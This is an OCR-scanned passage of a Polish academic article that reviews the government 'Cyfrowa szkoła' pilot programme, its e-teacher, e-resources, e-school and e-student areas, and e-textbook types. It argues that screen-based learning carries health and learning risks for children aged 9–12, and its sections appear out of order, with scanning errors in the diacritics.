http://ww.ceo.org.pl/pl/cyfrowaszkola/kurs/zastosowanie-TIK-w-realizacji-celow-uczenia-sie (dostep:
26.04.2013).

18 7 ostatnich doniesien wynika, ze mimo krytycznego raportu oceny programu ,,Cyfrowej
szkoty” ma on by¢ kontynuowany.
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$ciami motorycznymi rak. Jakkolwiek natura wspomnianych umiej¢tnosci nie
zostala wyjasniona z catag pewnos$cig na gruncie naukowym, to za najbardziej
wiarygodna koncepcje mozna przyjac t¢ wyrazang przez Frutigera, ktory twier-
dzi, ze: ,,dziecko na poczatku nauki czytania i pisania »literuje«. Dopiero pdzniej
nie mysli juz o literach, czytajac i piszac stowa uswiadamia sobie ich obraz.
Pamig¢¢ przechowuje zapas obrazéw slow i sylab jako swego rodzaju tablice
podstawowych schematow. Powigzania literowe wyrazajace jezyk ojczysty sg tu
silnie utrwalone w podéwiadomosci”*®. Badania K. James z Indiana University
w Bloomongton wykazaty, ze: ,,odpowiedzialne za czytanie os$rodki nerwowe
mozgu pigciolatka tetnig aktywnoscia, kiedy dziecko pisze recznie, ale sg uspio-
ne gdy uzywa klawiatury””,

Efektywno$¢ nauki z tekstem nie jest tak oczywista jakby mogto si¢ wyda-
waé. Bror Zachrisson podkresla, ze: ,,w czynnoS$ci czytania jest zawartych wiele
bodzcow: tres¢, wyglad zewnetrzny czytanego tekstu, wplyw otoczenia i inne.
Czytelnos¢ nigdy nie zalezy wylacznie od tekstu: zawsze nalezy uwzglednic
funkcjonalna sytuacje czytelnik — tekst™?'. Wnioskowa¢ z tego nalezy, ze o czy-
taniu ze zrozumieniem nie decyduja wylgcznie procesy recepcyjne. Spojrzmy
zatem na proces czytania z nieco innej, szerszej perspektywy.

Materiat drukowany, ktory bierzemy do r¢ki, ma okreslong forme (sktad)
tekstu, format, wage, grubo$¢. Sa to elementy, ktoére w posredni sposdb decyduja
o sprawnym nawigowaniu po teksécie. Prawdopodobnie wszyscy przypominamy
sobie wlasne doswiadczenia, kiedy chcac powrdci¢ do okre§lonego fragmentu
tekstu lokalizujemy jego potozenie np. akapit u gory po lewej stronie ksigzki,
mniej wigcej w polowie jej grubosci, albo okoto strony... itp. Na ogdt przy po-
mocy tych, jakby na to nie patrze¢ bardzo ogélnych danych, bez wigkszych kto-
potdéw udaje si¢ zlokalizowac poszukiwany fragment tekstu. Takiego komfortu
nie zapewniajg urzadzenia elektroniczne typu laptop, tablet czy czytnik e-book —
chociaz wys$wietlajg numery stron. Czytajacy nie jest w stanie okresli¢ potoze-
nia, w ktorym miejscu ksigzki aktualnie si¢ znajduje. Nie moze takze w tatwy
sposdb porownac tekstu aktualnie czytanego z tym fragmentem, ktory znajduje
si¢ np. kilkanascie stron wczeéniej czy pozniej. Konieczno$¢ przewijania ekranu
sprawia, ze czytajacy traci orientacje i zaczyna skupia¢ wlasng uwage na nawi-
gacji, a nie na czytanym tekscie. Efektem tego jest spadek zdolno$¢ zapamiety-
wania. Publikowane liczne badania naukowe wykonane na uniwersytetach: Sta-
vanger (Norwegia), Karlstads (Szwecja), Central Florida (USA), San Jose State
(USA), Technion — Israel Institute of Technology (lzrael), National Taiwan

9 A. Frutiger, Czlowiek i jego znaki, Wyd. Do; Wyd. Opitma, Warszawa 2005.

2 F_Jabr, Papier kontra ekran, ,,Swiat Nauki”, Wyd. Proszynski Media, nr 12/2013.

21 B, Zachrisson, Studia nad czytelnoscig druku, thim. K. Chocianowicz, J. Hyc, WNT, War-
szawa 1970.

98



University, Universidad Nacional Autonoma de México, dowodza zwigkszonej
skutecznosci uczenia si¢ z wykorzystaniem tekstow dostepnych w formie trady-
cyjnej — drukowanej, niz elektroniczne;j. Jesli nawet teksty posiadaty tylko forme
elektroniczng to i tak byly drukowane przez uzytkownikow?.

Problematyka efektywnosci ksztalcenia opartej na srodkach informatycz-
nych zwigzana jest z czynnikiem: motywacyjnym ucznidow, jakoscig elektro-
nicznych materialow dydaktycznych oraz metodyka ich stosowania. Wypadko-
wa tych czynnikéw zadecyduje o skutecznos$ci uczenia si¢ i nauczania. Bez do-
konywania pogltebionych analiz mozna stwierdzi¢, ze uczelnie przygotowujace
przyszte kadry nauczycielskie ktada nacisk na kompetencje informacyjne swoich
studentow. W $lad za tym nie idzie metodyka nauczania przedmiotu ze Zrodet
elektronicznych, a jedynie metodyka wykorzystywania srodkow elektronicznych
do wspomagania procesu nauczania. Wspomagaé proces edukacyjny srodkami
informatycznymi a prowadzi¢ ten proces regularnie w oparciu o takie SrodKi
i zrodta to jednak dwie rézne rzeczy. Brak do$wiadczenia nauczycieli w tym
wzgledzie z pewnoscig jest duzym ograniczeniem dla samych nauczycieli ale
rowniez uczniow. ,,Cyfrowa szkota” jest polem doswiadczalnym, na ktorym
zdobywa si¢ tego rodzaju pierwsze do$wiadczenia. Z jednej strony to bardzo
dobrze, a z drugiej strony mozna zapytaé, czy udziat w tym dzieci w wieku 9—
12 lat jest wtasciwym wyborem w kontekscie ich zdrowia.

4. Cyfrowa szkola — zdrowie analogowe

Jak czytamy w Raporcie HBSC 2010: ,,Jedng z przyczyn matej aktywnosci
fizycznej dzieci i mtodziezy jest rozw6j nowych technologii informacyjnych
i komunikacyjnych, w tym tych z wykorzystaniem telefonow komorkowych,
komputerow i Internetu. Korzystanie z nich jest zwiazane z wielogodzinnym
unieruchomieniem”. Niska aktywno$¢ fizyczna dzieci w potaczeniu z wielo-
godzinnym kontaktem z komputerem prowadzi wprost do powstawania deficy-
tow zdrowotnych u dzieci i mtodziezy, w tym wad postawy oraz wad wzroku.
Zdaniem dra Pawla Michalskiego, kierownika Oddzialu Chirurgii Kregostupa
w Instytucie Matki i Dziecka w Warszawie, az 90% dzieci w Polsce ma wady
postawy”®. Lekcje szkolne unieruchamiaja dzieci w tawkach na kilka godzin
dziennie w pozycji siedzacej. Po powrocie do domu, odrabiajg zadania w tej
samej pozycji, a nastgpnie odpoczywaja rowniez siedzac przed ekranem kompu-
tera lub telewizora.

2 70b.: F. Jabr, Papier kontra...
28 7a: wiadomosci.gazeta.pl
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W raporcie W. Gogolka poswigconym ,,Cyfrowej Szkole” ,,Wplyw e-podre-
cznikOw na rozwdj psychosomatyczny uczniow czytamy, ze: mtodzi ludzie
maja w sumie minimum siedem godzin dziennie kontaktu wzrokowego
z monitorem komputera. (...) Powszechnie dostepne wyniki badan dowodza
jednoznacznie, ze korzystanie z komputeréw »ponad dwie godziny dziennie jest
szkodliwe dla dzieci. Zwicksza ryzyko probleméw psychologicznych«*. We-
dhug réznych danych statystycznych w Polsce od 42% do 50% dzieci posiada
wady wzroku (okoto: 15% — krotkowzrocznosé, 4% — astygmatyzm, 21% —
nadwzrocznos$¢, 6% — anizometropia).

Powszechne juz dzisiaj monitory LCD swoimi parametrami przewyzszaja
monitory wykonane w technologii CRT. Nie oznacza to mimo wszystko, Ze staty
si¢ one w petni bezpieczne dla zdrowia uzytkownikéw. Podstawowym negatyw-
nym czynnikiem jest emisja $wiatta z monitora ekranowego. Wedtug ,,Journal of
Applied Physiology” ekrany LED zaklocaja rytm sen — czuwanie. Niebieskie
$wiatto o dlugosci fali 464 nm, jakie emitujg takze ekrany LED, nie pozwala
zasna¢®, ale takze przyczynia si¢ do powstania zmian zwyrodnieniowych siat-
kowki oraz powoduje rozw6j AMD, czyli zwyrodnienia plamki zottej*®. Dodaj-
my do powyzszego jeszcze jeden istotny parametr, a mianowicie rozdzielczo$¢.
Typowy wydruk laserowy operuje rozdzielczosciami rzedu (600—1200) dpi?’,
druk ksigzkowy to zakres (1200—-2400) dpi, typowa rozdzielczo$¢ ekranu moni-
tora zamyka si¢ w granicach (72—120) dpi®® natomiast typowa rozdzielczos¢
czytnikow e-book to 167 dpi. Stad wynika, Zze rozdzielczo$¢ nawet najlepszego
wyswietlacza jest kilka razy gorsza od wydruku.

Alternatywa, dla ogolnie moéwigc ekranéw LCD, mogg byé czytniki
z wyswietlaczami pasywnymi E-Ink tak jak proponuje to W. Gogolek
w przywoltywanym juz raporcie. Cecha charakterystyczna wyswietlaczy tego
typu jest brak pod$wietlenia. Tekst czytany jest w Swietle odbitym analogicznie
jak materiaty drukowane. Rozwiazanie to nie jest jednak pozbawione wad, do

2 W. Gogolek, Wplyw e-podrecznikéw na rozwdj psychosomatyczny ucznidw, ORE, War-
szawa 2013.

% E Ink czy LCD: kt6ry jest lepszy?, ,,Chip”, nr 3/2013.

26 \www.echirurgia.pl

2 dpi — (ang. dots per inch) jest miara rozdzielczosci ekranu, drukarki, skanera okreélajaca
liczbe punktow jaka moze by¢ wyswietlona, wydrukowana lub odczytana na odcinku o dhugosci
jednego cala (1 cal =25,4 mm). Prawidlowo do urzadzen wyswietlajacych i rejestrujacych powin-
no uzywac si¢ jednostki ppi — (ang. pixels per inch) — liczba pikseli na cal.

% R. Chwatowski, 451, czyli typografia bez papieru, ,,2D+3D”, nr 9/2004; A. Piecuch, Wstep
do projektowania multimedialnych opracowan metodycznych, Wydawnictwo Oswiatowe Fosze,
Rzeszow 2008; R. Bednarski, K. Tyczkowski, M. Pietruszka, Charakterystyka czynnikéow wplywa-
Jacych na czytelnosé tekstow w obrazach komputerowych [w:] Multimedia w biznesie i edukacji,
red. L. Kieltyka, Politechnika Czestochowska, Czgstochowa 2005.
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ktorych trzeba zaliczy¢ wyéwietlanie obrazu monochromatycznego® i brak moz-
liwosci odtwarzania multimediow. Z tych powodow czytnik z pewnoscia traci na
swojej atrakcyjnosci.

Zakonczenie

Zawsze wskazana jest duza rozwaga nad implikacjami wprowadzanych
zmian i unowocze$nien. W przypadku edukacji ma to szczegdlne znaczenie,
bowiem skutki sa znacznie odsunicte w czasie®’. Zastapienie typowego podrecz-
nika zrodlami elektronicznymi pozbawia cztowieka podstawowych umiejetno-
$ci. Zwalnia od myslenia, analizowania, Syntetyzowania, rozwijania wyobrazni.
Poza tym daje réwniez zludne przekonanie, niekiedy graniczace wregcz z pewno-
$cia, ze wszystko bez wysitku jest dostepne od jednego kliknigcia. Stad w zasa-
dzie norma staty si¢ zachowania Ctrl+C — Ctrl+V, uzywane bez namystu nad
tym co jest kopiowane i z jakiego zrodta.

Okrojone do minimum programy nauczania wraz z malejagcymi wymaga-
niami doprowadzity do bardzo wyraznego obnizenia poziomu wyksztatcenia
obecnego pokolenia. Poszukiwanie rozwigzan wylacznie na drodze wprowadza-
nia do procesu ksztatcenia $rodkow informatycznych z pewnoscig nie pomoze
W podniesieniu jako$ci wyksztalcenia. Jak stusznie zauwaza A. Zajac: ,,Era kul-
tury oparta na tek$cie drukowanym nie wytrzymuje konkurencji z kultura obra-
zu, ktora jest o wiele atrakcyjniejsza w odbiorze i nie wymaga wysitku intelek-
tualnego”. Wykorzystanie $rodkow informatycznych szczegdlnie przez uzyt-
kownikow w tak mtodym wieku (dzieci 9-12 lat) jest niewskazane. Powodow
Z pewnos$cia mozna wymieni¢ kilka. Po pierwsze, to nie w pelni rozwinigte
zdolno$ci motoryczne, do ktoérych nalezy umiejetnos¢ pisania. Prace pisemne
obecnych studentéw w 80-90% sa nie do odczytania. Jest to efektem zaniedban
edukacyjnych w okresie wczesnoszkolnym i brakiem ,.treningu” w latach po6z-
niejszych (brak wypracowan domowych, zadan klasowych, zamiana dtugopi-
su/piodra na klawiaturg komputerowa).

Bez odpowiedzi pozostanie prawdopodobnie pytanie o efektywnos$¢ ksztal-
cenia z wykorzystaniem infrastruktury informatycznej i elektronicznych materia-
low dydaktycznych. Nie nalezy myli¢ efektywnosci ze skutecznoscig. Dziatania
skuteczne nie zawsze sg efektywne. Jesli osiagnigcia edukacyjne ucznia w opar-

% Istniejg juz rozwiazania czytnikow (np. Hanvon) z kolorowym e-inkiem. Oprécz kolorowej
technologii wyswietlania obrazu istnieje mozliwo$¢ wyswietlania kolorowych grafik, przegladania
materiatow wideo, korzystania z przegladarki internetowej. Jest to z pewnoscig duza konkurencja
dla tabletow, wcigz jednak zbyt droga; zob.: www. spidersweb.pl (dostep: 4.01.2014) .

30 A, Piecuch, Multimedialne...
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ciu 0 metody e-ksztalcenia i tradycyjne sg porownywalne, to brak jest uzasad-
nienia dla wprowadzania dodatkowego obcigzenia ucznidow srodkami informa-
tycznymi. Z pewnoscig uczen w razie potrzeby siegnie w ramach pracy wlasnej
do zrodet internetowych czy innych elektronicznych materiatow dydaktycznych.
Nie negujac uzytecznosci informatyki ani rozwijanych materiatow cyfrowych,
rozsadne byloby udostepnienie okreslonej wiedzy uczniowi w tradycyjnej for-
mie drukowanej i elektronicznej. Sam zainteresowany wedtug wiasnych potrzeb
i upodoban wybierze wariant najbardziej mu odpowiadajacy.

Na zakonczenie pozwoleg sobie dokona¢ parafrazy wypowiedzi T. Kotar-
binskiego: ,,Nardd, ktory by si¢ informatycznie zaniedbat albo programowo od
informatyki odwrocil, skazatby si¢ na nedzng stuzebnos¢ w stosunku do innych
narodéw a w ostatecznym wyniku na wykluczenie™*!. Zatem odpowiedz na py-
tanie, czy wprowadza¢ informatyczne wspomaganie procesOw uczenia si¢ i nau-
czania jest twierdzaca. Natomiast odpowiedzi wymagaja pytania: kiedy to robié
i w jaki sposob, by bylo to z korzyscig przede wszystkim dla ucznia, a nie stato
si¢ modg o watpliwych walorach edukacyjnych.
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Streszczenie

W niniejszym artykule poruszona zostala tematyka realizowanego od roku szkolnego
2012/2013 pilotazu rzadowego programu ,,Cyfrowa szkota”. Od powodzenia tego przedsigwzigcia
zaleze¢ bedzie jego realizacja w przyszto$ci na szersza skalg. Z tego tez wzgledu system edukacji
stoi przed ogromng szansg na unowoczesnienie i petne dostosowanie do wymogoéw spoleczenstwa
informacyjnego. W pierwszej cze$ci autorzy opisuja ogoélne zatozenia programu. Druga czg$é
natomiast przedstawia szerzej zagadnienie e-podrecznika oraz zagrozenia, jakie moga wynikaé
z jego nieodpowiedniego stosowania.

Summary

In the following article the authors thoroughly discuss the “Digital school” pilot program,
which was first introduced in the school year 2012/2013. Its future implementation at schools on a
larger scale is entirely dependent on its success. Therefore, the education system needs to face both
the challenge and opportunity to upgrade and fully adjust to the requirements and expectations of
the information society. In the first part of the article the general objectives of the program are
described by the authors. The second part is devoted to the issue of the e-textbooks and the risks
which may result from its improper use.

Wstep

Zarowno Polska szkota jako instytucja, jak rowniez caly system edukacji,
podlega cyklicznym zmianom. Poza modyfikacjami programow nauczania, czy
tez katalogu kompetencji, jakie posiada¢ powinni uczniowie i uczacy ich nau-
czyciele, zmianom ulega baza dydaktyczna placowek. Te ostatnie nie moga by¢
realizowane bez pomocy odpowiedniego wsparcia ze strony przede wszystkim
organdéw prowadzacych, poniewaz to one finansuja podlegte placowki edukacyj-
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ne. Czgsto jednak zdarza sie, iz nie sg one w stanie w wystarczajacy sposob po-
dota¢ temu zadaniu.

Panstwo rowniez stara si¢ rowniez czynnie uczestniczy¢ w unowoczesnianiu
calego systemu o$wiaty, nie tylko okreslajac wymagania edukacyjne stawiane
przez szkotami i ich absolwentami, ale rowniez oferujac wsparcie finansowe na
realizacje zadan szkolnych. Wsparcie to realizowane jest zazwyczaj za pomoca
programow systemowych ministerialnych lub rzadowych. Jednym z takich pro-
gramow jest realizowany pilotazowo program ,,Cyfrowa szkota”.

1. ,,Cyfrowa szkola” — zalozenia teoretyczne

Omawiajac program ,,Cyfrowa szkota” nalezy najpierw rozpocza¢ od wyja-
$nienia i omowienia, na czym polega istota tego programu.

»Cyfrowa szkola” w swoim zalozeniu opiera si¢ na zatozeniu, iz ,,jednym
z zasadniczych zadan wspolczesnej szkoty jest rozwijanie kompetencji uczniow
przygotowujacych ich do zycia w spoteczenstwie informacyjnym oraz, ze roz-
woj kompetencji uczniow w tym zakresie powinien dokonywac si¢ w szkole,
poprzez dziatania odpowiednio przygotowanych nauczycieli, §wiadomych ko-
rzysci edukacyjnych z wykorzystaniem TIK™,

Rzad podejmujac decyzje¢ o wprowadzeniu programu, postawit przed nim
dwa podstawowe cele. Pierwszym z nich jest sam rozwdj kompetencji uczniéw
i nauczycieli w zakresie stosowania technologii informacyjno-komunikacyjnych
w procesie edukacyjnym oraz wspieranie zmian modeli nauczania. Drugim za$
jest weryfikacja przyjetego modelu: ,,realizacji przedsigwzigcia, doskonalenia
zawodowego nauczycieli, przygotowania publicznych elektronicznych zasobow
edukacyjnych oraz korzystania przez uczniow z nowoczesnych pomocy dydak-
tycznych w procesie nauczania — uczenia si¢™.

Jako cele szczegotowe przyjete zostaty zarowno cele ogolne, tj.: zwigkszenie
motywacji uczniow do rozwijania zainteresowan, jak rowniez odnoszace si¢
Scisle do stosowania TIK w procesie edukacji’:

1) rozwijanie kompetencji uczniow w zakresie postugiwania si¢ TIK w uczeniu
si¢, w tym w wyszukiwaniu i korzystaniu z informacji;

2) doskonalenie wiedzy 1 umiej¢tnosci nauczycieli i dyrektorow szkot
w zakresie stosowania TIK w nauczaniu i organizacji pracy szkoty, w tym w
ramach migdzyszkolnych sieci wspolpracy nauczycieli;

3) wdrozenie TIK w nauczaniu poszczegdlnych przedmiotow;

! Zatacznik do uchwaty nr 40/2012 Rady Ministréw z dnia 3 kwietnia 2012 r. w sprawie rza-
dowego programu rozwijania kompetencji uczniéw i nauczycieli w zakresie stosowania technolo-
gii informacyjno-komunikacyjnych — ,,Cyfrowa szkota”, s. 2.

2 Szerzej cele te opisane sg na stronie programu — http:/Awww.cyfrowaszkola.men.gov.pl

8 Zatacznik do uchwaty nr 40/2012..., s. 12-13.
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4) wprowadzenie modelowych przyktadow zastosowania TIK w nauczaniu
poszczegdlnych przedmiotow oraz upowszechnienie dobrych praktyk w tym
zakresie;

5) sprawdzenie w praktyce szkolnej zastosowan w roznych konfiguracjach po-
mocy dydaktycznych i innego sprzetu niezbednego do realizacji programow
nauczania z wykorzystaniem TIK.

Sposob realizacji przyjetych tu celow prezentuje schemat 1. Nalezy tu zau-
wazy¢ fakt, ze program zostal przygotowany w oparciu o zatozenie komplemen-
tarnosci dzialan podejmowanych w programie i dzialan skoordynowanych
W programem?’.

Jak wida¢ na powyzszym schemacie, program oparty jest na czterech fila-
rach, zwanych tu obszarami: e-nauczyciel, e-zasoby edukacyjne, e-szkofa i e-
uczen oraz komponentu badawczego i ewaluacyjnego. Te cztery obszary omo-
wione zostaty w dalszej czesci rozdziatu.

1.1. Obszar e-nauczyciel

Obszar ten dotyczy rozwoju kompetencji nauczycieli odnoszacych si¢ do
nauczania z wykorzystaniem TIK, a ponadto komunikowania si¢ z uczniami
i rodzicami oraz prowadzenia dokumentacji szkolnej z wykorzystaniem TIK®.

Podejmowane w tym obszarze dziatania maja na celu kompleksowy rozwoj
kompetencji nauczycieli niezbgdnych do §wiadomego wykorzystywania przez
nich TIK we wszystkich sferach ich dziatalno$ci dydaktycznej, wychowawczej
i zawodowej. W szczegodlnosci dziataniami tymi sa’;

1) wzbogacenie i unowoczesnienie warsztatu pracy nauczyciela;

2) stosowanie i rozwijanie metod ksztatcenia i oceniania z uzyciem TIK;

3) prowadzenie zaj¢¢ edukacyjnych z wykorzystaniem TIK oraz r6éznego rodza-
ju elektronicznych zasobow edukacyjnych;

4) inspirowanie i angazowanie uczniow do ksztatcenia si¢ i kreatywnosci;

5) wspotpraca z rodzicami oraz Srodowiskiem lokalnym,

6) rozwoj zawodowy, wspélpraca z innymi nauczycielami, w tym wspotpra-
cy w ramach miedzyszkolnych sieci wspotpracy nauczycieli i samoksztat-
cenia.

® Uzasadnienie do Uchwaty nr 40/2012 Rady Ministrow z dnia 3 kwietnia 2012 r. w sprawie
Rzadowego programu rozwijania kompetencji uczniow i nauczycieli w zakresie stosowania tech-
nologii informacyjno-komunikacyjnych — ,,Cyfrowa szkota”, s. 3.

® Rzadowy program rozwijania kompetencji uczniéw i nauczycieli w zakresie stosowania
technologii informacyjno-komunikacyjnych ,,Cyfrowa szkota” — Stan realizacji. Informacja wg
stanu na dzien 14 lutego 2013 r., prezentacja multimedialna MEN, http://www.ore.edu.pl — (do-
step: 23.11.2013 1.).

" Zatacznik do Uchwaly nr 40/2012..., s. 6.
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W ramach tego obszaru realizowane byly szkolenia dla e-koordynatoréw
I e-treneréw, ktorych zadaniem byto szkolenie i opieka nad nauczycielami biora-
cymi udziat w programie. Przygotowane zostaty niezb¢dne do tego celu materia-
ly merytoryczne i szkoleniowe. Efektem dziatan podjetych w tym obszarze mia-
to by¢ podwyzszenie kompetencji nauczycieli w zakresie roznorodnego wyko-
rzystania TIK w pracy dydaktyczno-wychowawczej.

1.2. Obszar e-zasoby edukacyjne

Celem obszaru e-zasoby edukacyjne jest przede wszystkim ,,uzupetnienie
oferty publicznych elektronicznych zasobow edukacyjnych, w tym zapewnienie
dostepu do bezptatnych e-podrecznikow™™.

W ramach tego obszaru rozszerzeniu ulegly zasoby portalu ,,Scholaris — por-
tal wiedzy dla nauczycieli”, miedzy innymi o°:

a) multimedialne zasoby edukacyjne, w szczegdlnosci w zakresie tresci pod-
stawy programowej ksztalcenia ogolnego, ktorych nauczanie powinno by¢
wsparte wizualizacja;

b) udostepnienie narzedzi rozszerzajacych warsztat pracy nauczycieli, umozli-
wiajac opracowanie lekcji z wykorzystaniem TIK oraz zarzadzanie szkota
(m.in. e-dziennik);

c) opracowanie e-podrecznikow, ktore przeznaczone bedg do nauczania
w klasach IV-VI;

d) przygotowanie przez TVP portalu edukacyjnego — www.edudu.tvp.pl —
w ktorym nauczyciele i uczniowie beda mogli znalez¢ rdéznego rodzaju au-
dycje oswiatowe™.

Wszystkie utworzone w ramach tego obszaru materiaty, udostgpnione sa na
zasadach wolnego dostepu lub tez na podstawie licencji Creative Commons
(CC). Oznacza to, ze kazda chetna osoba moze korzysta¢ z tych materiatow w
sposob nieograniczony, nieodplatny i niewylaczny. Tyczy sie to zaréwno do
materiatow oryginalnych, jak i ich opracowan™.

1.3. Obszar e-szkola

W ramach obszaru e-szkota, placowki biorgce udziat w programie miaty za-
pewniong niezbedna infrastrukture w zakresie TIK, w szczegdIno$ci nowoczesne
pomoce dydaktyczne™.

8 Rzqdowy program rozwijania kompetencji... (dostep 23.11.2013 r.).
® http:/iwww.cyfrowaszkola.men.gov.pl/ (dostep 30.11.2013 r.).

0 Rzgdowy program rozwijania kompetencji... (dostep 23.11.2013 r.).
1! Zatacznik do Uchwaty nr 40/2012...,s. 7.

12 Rzqdowy program rozwijania kompetencji... (dostep 23.11.2013 1.).
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Zakwalifikowane do programu szkoly musiaty przygotowac plan zakupow
niezbednego do realizacji programu sprzetu i oprogramowania, przygotowany na
podstawie przyjetego przez Rade Ministrow Rozporzadzenia odnoszace si¢ do
programu ,,Cyfrowa szkota”. W dokumencie tym opisany zostal mi¢dzy innymi
sposob przydzielania $rodkéw finansowych, niezbednych do dokonania odpo-
wiednich zakupdéw oraz warunki wykorzystania tego sprzgtu i oprogramowania.
Natomiast w zataczniku do tego Rozporzadzenia wymieniony jest wykaz pomocy
dydaktycznych, jakie mogly zosta¢ zakupione w ramach udzielonego wsparcia fi-
nansowego oraz jakie musza by¢ spetnione warunki techniczne odnosnie do stoso-
wania TIK na zajeciach. Wsroéd wymienionych tu pomocy dydaktycznych sa™:

1) przenosny komputer dla ucznia wraz z oprogramowaniem lub inne mobilne
urzadzenie majace funkcje komputera, wyposazone w zainstalowany sys-
tem operacyjny;

2) przenosny komputer dla nauczyciela wraz z oprogramowaniem lub inne
mobilne urzgdzenie majace funkcje komputera, wyposazone w zainstalo-
wany system operacyjny;

3) szafka do przechowywania i bezpiecznego przemieszczania pomiedzy sa-
lami lekcyjnymi przeno$nych komputeréw dla uczniéw, posiadajgca funk-
cje tadowania baterii;

4) sieciowe urzadzenie wielofunkcyjne umozliwiajace co najmniej drukowa-
nie, kopiowanie i skanowanie;

5) drukarka;

6) skaner;

7) tablica interaktywna z systemem mocowania;

8) urzadzenia i oprogramowanie do przeprowadzania wideokonferencji;

9) system do zbierania i analizowania odpowiedzi;

10) projektor krotkoogniskowy;

11) glosniki;

12) kontroler WLAN zarzadzajacy szkolng siecig bezprzewodows;

13) punkt dostepowy bedacy elementem szkolnej sieci bezprzewodowej;

14) ruter z wbudowanymi lub zewnetrznymi modutami zapory sieciowej i sys-
temem blokowania wtaman (IPS);

15) projektor multimedialny;

16) ekran projekcyjny;

17) wizualizer.

Ze wzgledu na ograniczone $rodki finansowe zakwalifikowane do programu
szkoly mogly z tego katalogu $rodkow dydaktycznych wybra¢ tylko takie, kto-

18 Zatgcznik nr 1 do Rozporzadzenia Rady Ministréw z dnia 3 kwietnia 2012 r. w sprawie
warunkow, form i trybu realizacji przedsigwzigcia dotyczacego rozwijania kompetencji uczniow
i nauczycieli w zakresie stosowania technologii informacyjno-komunikacyjnych, s. 1.
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rych nie ma jeszcze w szkole, a sg niezbedne do realizacji zadan postawionych
przez program. Z tego tez wzgledu, jesli szkota posiadata przed przystapieniem
do programu ktory$ z wymienionych elementow, to mogta, a nawet powinna go
wykorzystywaé do realizacji wyznaczonych zadan.

1.4. Obszar e-uczen

Ostatnim obszarem, w ramach ktérego funkcjonuje program ,,Cyfrowa szko-
fa” to e-uczen. Wedhug zapisow w Uchwale Rady Ministrow ma on za zadanie
zapewni¢ uczniom, gtéwnie zagrozonym cyfrowym wykluczeniem, dostgpu do
nowoczesnych pomocy dydaktycznych™.

Aby szkota mogla realizowaé zadania z tego obszaru, musza zosta¢ najpierw
wykonane wszystkie zadania z poprzedniego obszaru, w szczegolnosci e-nauczyciel
i e-szkofa.

W ramach tego obszaru w kazdej szkole zakwalifikowanej do programu by-
ly realizowane zajecia lekcyjne, na ktoérych wykorzystywane byty TIK. Zajecia
te realizowane byty w cyklach tygodniowych wedtug nastepujacego klucza:

— w szkotach matych — na co najmniej 3 godzinach zaje¢;

— w szkotach srednich — na co najmniej 6 godzinach zaje¢;

— w szkotach duzych — na co najmniej 9 godzinach zajec.

W trakcie tych zaje¢ wykorzystywany miat by¢ sprzet i oprogramowanie za-
kupione w ramach dotacji oraz przygotowane przez nauczycieli pomoce i mate-
riaty multimedialne. Ten obszar jest kluczowy dla powodzenia realizacji pro-
gramu. Dzigki niemu mozemy osiggna¢ wiele dobrego dla rozwoju spoteczen-
stwa informacyjnego w naszym kraju.

2. E-podrecznik i jego wplyw na ucznia

Jednym z kluczowych elementow obszaru e-zasoby edukacyjne jest stwo-
rzenie do wszystkich przedmiotow szkolnych e-podrecznika. Czym w ogole jest
e-podrecznik?

Analizujac dokumenty o$wiatowe dostrzec mozna, iz €-podrecznik to trady-
cyjny podrecznik w formie elektronicznej zawierajacy™:

1) opis sposobu uruchamiania albo opis sposobu instalacji i uruchamiania;

2) system pomocy zawierajgcy opis uzytkownika;

1 Zatacznik do Uchwaty nr 40/2012..., s. 3.

15 Rozporzadzenie Ministra Edukacji Narodowej z dnia 21 marca 2012 r. w sprawie dopusz-
czenia do uzytku w szkole programéw wychowania przedszkolnego i programéw nauczania oraz
dopuszczania do uzytku szkolnego podrgcznikow, s. 5.
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3) mechanizm nawigacji i wyszukiwania, w tym w szczegolnosci spis tre-

$ci 1 skorowidz w postaci hiperlaczy;

4) opcje drukowania treSci podrecznika, z wylaczeniem dynamicznych

elementéw multimedialnych, ktérych wydrukowanie nie jest mozliwe.

Wiele 0s6b patrzac na ten 0pis cech e-podrecznika twierdzi, ze wystarczy oddaé¢
do uzytku po prostu forme drukarskiego PDF i mozna bgdzie méwié¢ o e-pod-
reczniku. Trudno si¢ z tym podej$ciem nie zgodzié, skoro w przytoczonym rozpO-
rzgdzeniu nie ma mowy o wyposazeniu e-podrecznika W dynamiczne elementy.

Prof. W. Gogolek podaje, iz istnieje w literaturze pewne zalozenie, ze ,.e-
ksigzka jest cyfrowa kopia wersji drukowanej, ktora jest dostepna za posrednic-
twem elektronicznego ekranu™®. Jak widaé, zatozenie to zbiezne jest z trescia
rozporzadzenia, jednak nadal nie wida¢ w nim multimedialnosci, o ktora tak
mocno walczg autorzy programu ,,Cyfrowa szkota”.

Chcgc jednak dalej analizowaé problematyke e-podrecznika w szkole i jego
wplywu na ucznia, nalezy zapozna¢ si¢ z rodzajami tych podrecznikow dostep-
nymi na rynku.

Wedtug M. Plebanskiej wyr6znié mozemy picé typow e-podrecznikéw':

1) e-podrecznik statyczny — jego ideg jest transformacja podr¢cznika tradycyij-
nego jedynie do formatu elektronicznego;

2) e-podrecznik umultimedialniony — transformacja podrecznika do formatu
elektronicznego, wzbogaconego o proste multimedia;

3) e-podrecznik multimedialny — stworzenie podrecznika w petni multimedial-
nego juz na poziomie koncepcji;

4) e-podrecznik interaktywny — stworzenie podrecznika multimedialnego juz
na poziomie koncepcji, umozliwiajacego petng interakcje z uzytkownikiem;

5) e-podrecznik inteligentny — udostepnienie nauczycielowi elastycznego na-
rzgdzia, za pomoca ktérego samodzielnie zbuduje tresci lekcji na bazie do-
stepnych zasobdéw, z mozliwo$cig korzystania z wersji podstawowej lub mo-
dyfikowane;j.

Przyjmujac taka typologi¢ e-podrecznikéw M. Plebanska opracowata defi-
nicj¢ tego narzgdzia. Wedlug niej jest to ,,srodowisko uczenia si¢ i nauczania,
w ktoérym rdznego typu treSci generowane sg w sposob dynamiczny w stosunku do
potrzeb osoby uczacej si¢ i/lub nauczajacej z wykorzystaniem e-podrecznika™'®.
Definicja ta w sposob trafny odzwierciedla idee¢ tego narzedzia odnoszaca si¢ do
zatozen programu ,,Cyfrowa szkota”.

¥ W. Gogotek, Wplyw e-podrecznikéw na rozwdj psychosomatyczny uczniéw, ORE, War-
szawa 2013, s. 8.

1" M. Plebanska, Podrecznik elektroniczny. Przeglgd dostepnych mozliwosci, http:/iwww.ore.
edu.pl, s. 8.

8 M. Plebanska, Podreczniki multimedialne w polskich szkolach. Raport z badania,
http://www.ore.edu.pl, s. 7,
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Czytajac wszystkie dokumenty odnoszace si¢ do podrecznikéw multime-
